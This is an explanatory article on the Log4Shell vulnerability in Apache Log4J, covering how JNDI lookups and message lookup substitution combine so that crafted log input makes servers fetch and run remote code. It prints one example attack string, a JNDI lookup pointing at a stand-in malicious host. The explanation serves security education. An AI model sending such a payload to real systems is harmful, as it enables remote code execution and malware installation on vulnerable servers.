Log4Shell affects Log4J, an open-source logging library maintained by the Apache Software Foundation. Log4J is a logger, a software component that records information and events in a program, like error messages and user inputs.
Log4J isn't a standalone program but a package of code that developers can plug into their Java applications instead of building loggers from scratch. Major organizations—including Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco and many others—use Log4J in their software and services.
Log4Shell results from how vulnerable versions of Log4J handle two related features: Java Naming and Directory Interface (JNDI) lookups and message lookup substitutions. Each feature on its own would be harmless, but the interaction between them gives hackers a potent weapon.
JNDI is an application programming interface (API) that Java apps use to access resources hosted on external servers. A JNDI lookup is a command that tells the app to go to a server and download a specific object, like a piece of data or a script. Older versions of Log4J 2 automatically run any code downloaded this way.
Message lookup substitution allows users and apps to send variables to Log4J within log messages by using a specific syntax: ${prefix:name}. When Log4J encounters this syntax, it resolves the variable and records the value in the log. For example, if Log4J received a message that read
${java:version}
it would find out the current version of Java running on the device. In the log, it would record: "Java version X.XX."
Put another way, Log4J doesn't treat message lookup substitutions like plain text. It treats them like commands and takes action based on what they say. Hackers can take advantage of this fact to send malicious JNDI lookup commands to apps running vulnerable versions of Log4J. For example, a hacker could send Log4J a string like this:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
When Log4J received this message, it would resolve the variable by reaching out to the server at myevilwebsite.biz and downloading the object located at /maliciouscode. This process would lead to Log4J executing whatever Java code the hacker stashed at that location, usually malware.